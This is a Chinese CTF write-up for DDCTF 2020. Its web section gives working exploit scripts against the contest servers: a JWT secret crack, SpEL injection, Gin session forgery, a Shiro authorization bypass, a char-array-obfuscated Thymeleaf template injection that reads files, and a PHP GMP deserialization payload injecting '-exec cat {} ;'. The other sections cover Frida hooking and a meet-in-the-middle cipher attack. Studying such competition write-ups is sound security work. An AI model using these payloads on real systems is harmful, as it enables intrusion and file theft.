DDCTF 2020 Writeup

发表于 2020 年 9 月 7 日

今年改了赛制, 可以两人组队, 我觉得改的还是不错的, 终于不用现场表演学习逆向和 pwn 了, 成功和 Ary 师傅打到了第三 233

WEB

Web签到题

访问 http://117.51.136.197/hint/1.txt 得到使用说明,

1curl http://117.51.136.197/admin/login -d 'username=1&pwd=1' -vv

拿到 token

1{"code":0,"message":"success","data":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIxIiwidXNlclJvbGUiOiJHVUVTVCIsImV4cCI6MTU5OTQ2OTA0Mn0.fONrD0R3NLTybq2WEP5V7uWTBI_0T0E5utI3MZFngMU"}

明显的 jwt,需要用这个来 auth,用 https://github.com/brendan-rius/c-jwt-cracker 爆破出来 secret 是 1,修改 userRole 到 ADMIN 就可以拿到客户端的地址 http://117.51.136.197/B5Itb8dFDaSFWZZo/client

逆向一下得到用签名算法用的是 hmac,key 是 DDCTFWithYou,fuzz 了半天发现是 spel,直接命令执行似乎不行,于是根据提示给的 flag 位置直接读 flag 即可

 1import time
 2import hmac
 3import base64
 4import requests
 5
 6cmd = "{'a': T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/home/dc2-user/flag/flag.txt'))}"
 7ts = int(time.time())
 8
 9sign = base64.b64encode(hmac.new(b'DDCTFWithYou',msg=f"{cmd}|{ts}".encode(), digestmod='sha256').digest())
10
11'''{"signature":"65+KmCKrBVr6UAsjvSZ/iu1bdpx5xmIJLmAX2Squksk=","command":"'ls'","timestamp":1599189389}'''
12
13res = requests.post('http://117.51.136.197/server/command', json={
14    'signature': sign.decode(),
15    'command': cmd,
16    'timestamp': ts
17})
18
19print(res.text)

卡片商店

看到 session 就知道明显的是 gin,于是尝试整数溢出,借 9223372036854775807 个卡片就可以成功溢出,只需要还 1 张卡片,白嫖 9223372036854775806 张,兑换得到提示

1恭喜你,买到了礼物,里面有夹心饼干、杜松子酒和一张小纸条,纸条上面写着:url: /flag , SecKey: Udc13VD5adM_c10nPxFu@v12,你能看懂它的含义吗?

访问 flag 提示不是幸运玩家,但是有了 secretkey 就可以直接伪造 session,对 session base64 解码可以发现用的是 gob 序列化,明显看到 bool, admin 字样,直接自己也搭一个环境设置个 admin session 即可

 1package main
 2
 3import (
 4	"github.com/gin-contrib/sessions"
 5	"github.com/gin-contrib/sessions/cookie"
 6	"github.com/gin-gonic/gin"
 7)
 8
 9func main() {
10	r := gin.Default()
11	store := cookie.NewStore([]byte("Udc13VD5adM_c10nPxFu@v12"))
12	r.Use(sessions.Sessions("session", store))
13
14	r.GET("/hello", func(c *gin.Context) {
15		session := sessions.Default(c)
16
17		if session.Get("hello") != "world" {
18			session.Set("admin", true)
19			session.Save()
20		}
21
22		c.JSON(200, gin.H{"hello": session.Get("hello")})
23	})
24	r.Run(":8000")
25}

Easy Web

deleteMe 很明显的 shiro,但是尝试了下反序列化,key 全部不对。于是尝试了下新的权限绕过,可以直接越权访问到 index

1http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/index

明显有个 img 接口可以任意文件下载,通过 WEB-INF/web.xml 一直套娃下,可以下到一堆 class,但是没有找到有漏洞的接口,在 GitHub 上找了下类似的项目,fuzz 了一堆配置文件,最后找到 WEB-INF/classes/spring-shiro.xml. 里面有个 WEB-INF/classes/com/ctf/auth/FilterChainDefinitionMapBuilder.class,找到路由 map.put("/68759c96217a32d5b368ad2965f625ef/**", "authc,roles[admin]");, 进去发现是个 thymeleaf 渲染,但是要绕之前的 com.ctf.util.SafeFilter.

绕了半天最后用 ProcessBuiler 弹 shell 发现连 ls 都没权限执行,于是只好回到 java 用相关 API 读文件,构造 payload 用 File 来列目录,发现 flag 就在 /flag_is_here

 1import requests
 2# /flag_is_here
 3
 4for i in range(0, 20):
 5    sess = requests.session()
 6    content = '''
 7    [[${ T(java.net.URLClassLoader).getSystemClassLoader().loadClass(T(String).valueOf(new char[]{106, 97, 118, 97, 46, 105, 111, 46, 70, 105, 108, 101})).getConstructors()[1].newInstance(T(String).valueOf(new char[]{47})).listFiles()[%d] }]]
 8    '''% i
 9    res = sess.post("http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/68759c96217a32d5b368ad2965f625ef/customize", {
10        'content': content
11    })
12    #[[${ (new java.util.Scanner(T(java.net.URLClassLoader).getSystemClassLoader().loadClass(T(String).valueOf(new char[]{106, 97, 118, 97, 46, 105, 111, 46, 70, 105, 108, 101, 82, 101, 97, 100, 101, 114})).getConstructors()[0].newInstance(T(String).valueOf(new char[]{47, 102, 108, 97, 103, 95, 105, 115, 95, 104, 101, 114, 101})))).next() }]]
13
14    uuid = res.text[res.text.find('./render/')+len('./render/'):res.text.find('./render/')+len('./render/2b32ce0c2a9292af4fdfe3333058c02c')]
15
16    res = sess.get(f'http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/68759c96217a32d5b368ad2965f625ef/render/{uuid}')
17    print(res.text)

最后用 Scanner 这个类,方法名里面没有 read, payload 如下

1[[${ (new java.util.Scanner(T(java.net.URLClassLoader).getSystemClassLoader().loadClass(T(String).valueOf(new char[]{106, 97, 118, 97, 46, 105, 111, 46, 70, 105, 108, 101, 82, 101, 97, 100, 101, 114})).getConstructors()[0].newInstance(T(String).valueOf(new char[]{47, 102, 108, 97, 103, 95, 105, 115, 95, 104, 101, 114, 101})))).next() }]]

Overwrite Me

GMP 的一个 CVE,百度就能搜到, 可以覆盖任意对象的任意属性. https://bugs.php.net/bug.php?id=70513. 访问 http://117.51.137.166/hint/hint.php 拿到前半部分 然后覆盖 $mc 的 flag 导致参数注入就能读到后半部分

 1<?php
 2$inj = "-exec cat {} ;";
 3$inner = 's:1:"3";a:3:{s:4:"flag";s:'.strlen($inj).':"'.$inj.'";s:2:"hi";s:2:"aa";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
 4$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
 5echo "\n" . $exploit . "\n";
 6echo "\n";
 7
 8$a = urlencode($exploit);
 9
10system("curl http://117.51.137.166/EOf9uk3nSsVFK1LQ.php?bullet=$a");

RE

Android Reverse 1

一个有点不太对劲的AES和tea系列加密算法加一个md5。 虽然aes不太对劲,但顺着aes加密函数,在他隔壁找到了aes的解密函数,直接把加密hook成解密就可以解密。 arm64的so里的tea解密部分好像被优化了,所以先把apk重打包,扔掉64位的so。 32位的so里的tea加密也是一个函数,有一个控制加密的参数8,hook掉把8改为-8,即可以解密。 然后md5部分没办法解,顺着给的提示先解tea,再解AES,就可以拿到Flag。

Android Reverse 2

先github找个脚本,恢复了Armariris的字符串,然后顺着找到动态注册的关键函数。

包名如第一题,猜测算法也基本同第一题,hook了一下发现aes没变,tea加密变化了,可能是密钥之类的变了,不过没事还是可以直接Hook改参数。 Frida-dexdump确认了一下,Java层啥都没有。

所以还是直接Hook加密改成解密就可以得到Flag。

MISC

真·签到题

公告板里面有

一起拼图吗

ChaMD5 之前有类似的题目,github 上有解题脚本 https://github.com/virink/puzzle_tool, 用模式 4 DiffRGB 就能直接拼回来

decrypt

一共 5 个轮密钥,其中很明显因为只是异或 + 位移的关系, k3, k4 可以合并成一个,实际上有效的是 4 个 0-4096 的密钥,但是空间还是很大,没办法爆破。 这里可以用 MITM,保存 4096 * 4096 个状态,将爆破空间降到 4096^3,用 cpp 写了下,速度还是挺快的,几分钟能跑完, 选取给的 plaintext 和 ciphertext 的第一个 bits 来爆破,然后用后面的 3 个来验证下是否正确

 1#include <iostream>
 2#include <vector>
 3#include <unordered_map>
 4
 5//int sbox0[] = 太长不复制了
 6//int sbox1[] =
 7//int rsbox0[] =
 8//int rsbox1[] =
 9
10int NUM_BITS = 12;
11int MAX_VALUE = (2 << (NUM_BITS - 1));
12int BIT_MASK = MAX_VALUE - 1;
13
14int rol7(int b) {
15    return ((((b) << 7) & BIT_MASK) | (((b) & BIT_MASK) >> (NUM_BITS - 7)));
16}
17
18int ror7(int b) {
19    return ((((b) & BIT_MASK) >> 7) | (((b) << (NUM_BITS - 7)) & BIT_MASK));
20}
21
22int encrypt_block(int i, int k0, int k1, int k2, int k3, int k4) {
23    i = sbox0[sbox1[sbox0[(i & BIT_MASK) ^ k0] ^ k1] ^ k2] ^ k3;
24    return (ror7(i) ^ k4) & BIT_MASK;
25}
26
27int encrypt_block_simple(int i, int k0, int k1, int k2, int kf) {
28    i = sbox0[sbox1[sbox0[(i & BIT_MASK) ^ k0] ^ k1] ^ k2];
29    i = i ^ kf;
30    return (ror7(i)) & BIT_MASK;
31}
32
33int decrypt_block(int i, int k0, int k1, int k2, int k3, int k4) {
34    i = rol7((i & BIT_MASK) ^ k4) ^ k3;
35    return (rsbox0[rsbox1[rsbox0[i] ^ k2] ^ k1] ^ k0);
36}
37
38int decrypt_block_simple(int i, int k0, int k1, int k2, int kf) {
39    i = rol7((i & BIT_MASK)) ^ kf;
40    return (rsbox0[rsbox1[rsbox0[i] ^ k2] ^ k1] ^ k0);
41}
42
43int merge_two(int n1, int n2) {
44    return (n1 << 12) | n2;
45}
46
47std::pair<int, int> split_two(int n) {
48    return std::make_pair(n >> 12, n & BIT_MASK);
49}
50
51// 1092 -> 2285
52// k0, k1, k2, (k3 ^ k4) -> kf
53
54int main() {
55    std::unordered_map<int, std::vector<int>> mid_status;
56    std::vector<std::pair<int, int>> keys;
57
58    for (int i = 0; i < 4096; i++) {
59        std::vector<int> tmp;
60        tmp.reserve(4096);
61        mid_status[i] = tmp;
62    }
63
64    int plain = 1079;
65    int cipher = 567;
66
67    for (int k0 = 0; k0 < 4096; k0++) {
68        for (int k1 = 0; k1 < 4096; k1++) {
69            int merge = merge_two(k0, k1);
70            int mid = sbox1[sbox0[plain ^ k0] ^ k1];
71            mid_status[mid].push_back(merge);
72        }
73    }
74    int cnt = 0;
75
76    for (int k2 = 0; k2 < 4096; k2++) {
77        for (int kf = 0; kf < 4096; kf++) {
78            int mid = rol7(cipher);
79            mid = mid ^ kf;
80            mid = rsbox0[mid];
81            mid = mid ^ k2;
82
83            for (int &tgt : mid_status[mid]) {
84                auto splited = split_two(tgt);
85                int k0 = splited.first;
86                int k1 = splited.second;
87
88                if (encrypt_block_simple(1079, k0, k1, k2, kf) == 567 &&
89                    encrypt_block_simple(633, k0, k1, k2, kf) == 361 &&
90                        encrypt_block_simple(1799, k0, k1, k2, kf) == 1793 &&
91                        encrypt_block_simple(1121, k0, k1, k2, kf) == 1001) {
92                    std::cout << k0 << " " << k1 << " " << k2 << " " << kf << " " << std::endl;
93                }
94            }
95        }
96    }
97
98    return 0;
99}

最后得到两个结果

13488 2863 726 1886
2934 1050 1509 3200

改下脚本用合并的轮密钥来解密,第一行那四个就是正确的密钥

  1# Define constant properties
  2SECRET_KEYS = [0, 0, 0, 0, 0]  # DUMMY
  3NUM_BITS = 12
  4BLOCK_SIZE_BITS = 48
  5BLOCK_SIZE = BLOCK_SIZE_BITS / 8
  6MAX_VALUE = (2 << (NUM_BITS - 1))
  7BIT_MASK = MAX_VALUE - 1
  8
  9
 10class Cipher(object):
 11    def __init__(self, k0, k1, k2, kf):
 12        self.k0 = k0
 13        self.k1 = k1
 14        self.k2 = k2
 15        self.kf = kf
 16
 17        self._rand_start = 0
 18        self.sbox0, self.rsbox0 = self.generate_boxes(106)
 19        self.sbox1, self.rsbox1 = self.generate_boxes(81)
 20        print self.sbox0
 21        print self.sbox1
 22        print self.rsbox0
 23        print self.rsbox1
 24
 25    def my_srand(self, seed):
 26        self._rand_start = seed
 27
 28    def my_rand(self):
 29        if self._rand_start == 0:
 30            self._rand_start = 123459876
 31        hi = self._rand_start / 127773
 32        lo = self._rand_start % 127773
 33        x = 16807 * lo - 2836 * hi
 34        if x < 0:
 35            x += 0x7fffffff
 36        self._rand_start = (x % (0x7fffffff + 1))
 37        return self._rand_start
 38
 39    def generate_boxes(self, seed):
 40        self.my_srand(seed)
 41        sbox = range(MAX_VALUE)
 42        rsbox = range(MAX_VALUE)
 43
 44        for i in xrange(MAX_VALUE):
 45            r = self.my_rand() % MAX_VALUE
 46            temp = sbox[i]
 47            sbox[i] = sbox[r]
 48            sbox[r] = temp
 49
 50        for i in xrange(MAX_VALUE):
 51            rsbox[sbox[i]] = i
 52
 53        return sbox, rsbox
 54
 55    def ror7(self, b):
 56        return ((((b) & BIT_MASK) >> 7) | (((b) << (NUM_BITS - 7)) & BIT_MASK))
 57
 58    def rol7(self, b):
 59        return ((((b) << 7) & BIT_MASK) | (((b) & BIT_MASK) >> (NUM_BITS - 7)))
 60
 61    def pad_string(self, s):
 62        num_blocks = len(s) / BLOCK_SIZE
 63        num_remainder = len(s) % BLOCK_SIZE
 64
 65        pad = (BLOCK_SIZE - num_remainder) % BLOCK_SIZE
 66        for i in xrange(BLOCK_SIZE - num_remainder):
 67            s += chr(pad)
 68        return s
 69
 70    def unpad_string(self, s):
 71        pad = ord(s[-1]) & 0xff
 72        if pad == 0 or pad > BLOCK_SIZE:
 73            pad = BLOCK_SIZE
 74        return s[:-pad]
 75
 76    def string_to_bits_list(self, s):
 77        input_chars = s
 78        num_blocks = len(s) / BLOCK_SIZE
 79
 80        bits_list = []
 81        for i in xrange(num_blocks):
 82            block = 0
 83            for j in xrange(BLOCK_SIZE):
 84                block = block << 8
 85                block = block | ord(input_chars[i * BLOCK_SIZE + j])
 86            for j in xrange(BLOCK_SIZE_BITS, 0, -NUM_BITS):
 87                bits_list.append((block >> (j - NUM_BITS)) & BIT_MASK)
 88        return bits_list
 89
 90    def bits_list_to_string(self, input_bits):
 91        num_input_bits_per_block = BLOCK_SIZE_BITS / NUM_BITS;
 92        output_chars = []
 93        for i in xrange(0, len(input_bits), num_input_bits_per_block):
 94            block = 0
 95            for j in xrange(num_input_bits_per_block):
 96                block = block << NUM_BITS
 97                block = block | (input_bits[i + j])
 98            for j in xrange(BLOCK_SIZE, 0, -1):
 99                output_chars.append((block >> ((j - 1) * 8)) & 0xff)
100        return "".join([chr(x) for x in output_chars])
101
102    def encrypt_bits(self, b):
103        boxed = self.sbox0[self.sbox1[self.sbox0[(b & BIT_MASK) ^ self.k0] ^ self.k1] ^ self.k2] ^ self.kf
104        return (self.ror7(boxed)) & BIT_MASK;
105
106    def decrypt_bits(self, b):
107        unboxed = self.rol7((b & BIT_MASK)) ^ self.kf
108        return (self.rsbox0[self.rsbox1[self.rsbox0[unboxed] ^ self.k2] ^ self.k1] ^ self.k0);
109
110    def encrypt(self, s):
111        pad_s = self.pad_string(s)
112        bits = self.string_to_bits_list(pad_s)
113        return self.bits_list_to_string([(self.encrypt_bits(b)) for b in bits])
114
115    def decrypt(self, s):
116        bits = self.string_to_bits_list(s)
117        dec = [self.decrypt_bits(b) for b in bits]
118        return self.unpad_string(self.bits_list_to_string(dec))
119
120
121if __name__ == "__main__":
122    '''
123    DIFFERENTECH Cipher
124
125    As you are monitoring your station, you intercepted a hex-encoded encrypted
126    message, along with its plain text.
127
128    plaintext = "Cryptanalysis has coevolved together with cryptography"
129    ciphertext = ("2371697013e9bdcb50133102f2c8c08a69b93e1878ac7939ac7049"
130                  "8ddd5dee019f4be4ec8dd3a612c8708a1169701d5d3de3169c7b1d"
131                  "146146146146").decode('hex')
132
133    You have also previously chanced upon another encrypted message, which you
134    will need to decrypt.  Taking a look at the algorithm, and past interceptions,
135    you noticed that the 12-bit numbers:
136        2684 encrypts to 2568
137        3599 encrypts to 3185
138    You realize that you just might be able to break it before lunch!
139
140    NOTE: GIVE ONE ENCRYPTED FLAG AS PART OF THE QUESTIION AND Try to decrypt
141    '''
142
143    # find the right SECRET_KEYS
144    SECRET_KEYS = [3488, 2863, 726, 1886]
145    cipher = Cipher(*SECRET_KEYS)
146
147    test_text = "DDCTF{"
148    ciphertext = ("8ed251b186927f62521fa81348782ecd781957571b69749b3e1515901e4e7065a6e949174472fdf01dcf").decode('hex')
149    #test_text = "Cryptanalysis has coevolved together with cryptography"
150    #ciphertext = ("2371697013e9bdcb50133102f2c8c08a69b93e1878ac7939ac7049"
151    #              "8ddd5dee019f4be4ec8dd3a612c8708a1169701d5d3de3169c7b1d"
152    #              "146146146146").decode('hex')
153
154    print '==='
155    bits = cipher.string_to_bits_list(test_text)
156    print len(bits)
157    print bits
158    # print cipher.encrypt_bits(1344)
159    # print ciphertext
160    bits = cipher.string_to_bits_list(ciphertext)
161    print bits
162
163    dec = []
164    for i in bits:
165        dec.append(cipher.decrypt_bits(i))
166    print dec
167    print cipher.bits_list_to_string(dec)
168    print len(bits)
169    # 8ed251b186927f62521fa81348782ecd781957571b69749b3e1515901e4e7065a6e949174472fdf01dcf
170
171    # enc = cipher.encrypt(test_text)
172    dec = cipher.decrypt(ciphertext)
173
174    if test_text == dec:
175        print("That's right!")
176    else:
177        print("Try again!")